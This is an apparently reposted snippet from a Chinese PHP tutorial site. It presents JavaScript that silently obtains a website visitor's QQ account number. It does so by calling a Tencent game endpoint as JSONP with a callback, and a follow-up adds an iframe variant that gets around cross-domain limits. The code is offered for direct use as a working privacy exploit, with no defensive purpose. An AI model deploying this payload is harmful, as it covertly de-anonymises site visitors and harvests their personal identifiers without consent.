Home >php教程 >php手册 >获取访客QQ接口,不废话直接上代码

获取访客QQ接口,不废话直接上代码

WBOY
WBOYOriginal
2016-06-07 11:41:381629browse

获取访客QQ接口,不废话直接上代码
<script><br /> function aaa(obj){<br /> if(obj.uin != 0){<br /> alert("获取到QQ:"+obj.uin);<br /> }else{<br /> alert("未获取到QQ");<br /> }<br /> }<br /> </script><br> <script></script>补充:
有朋友说不跨域 好吧 咱也不保留了 索性都放出来吧<script><br /> window.qq1981351435 = "<script>function aaa(obj){parent.qq(obj);}<\/script><script src=&#039;http://zf.huanle.qq.com/cgi-bin/hlddz_box/hlddz_silver_to_gold_box?callback=aaa&#039;><\/script>";<br /> <br /> function qq(obj){<br /> if(obj.uin != 0){<br /> alert("获取到QQ:"+obj.uin);<br /> }else{<br /> alert("未获取到QQ");<br /> }<br /> }<br /> </script><br> <iframe></iframe>

AD:真正免费,域名+虚机+企业邮箱=0元

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn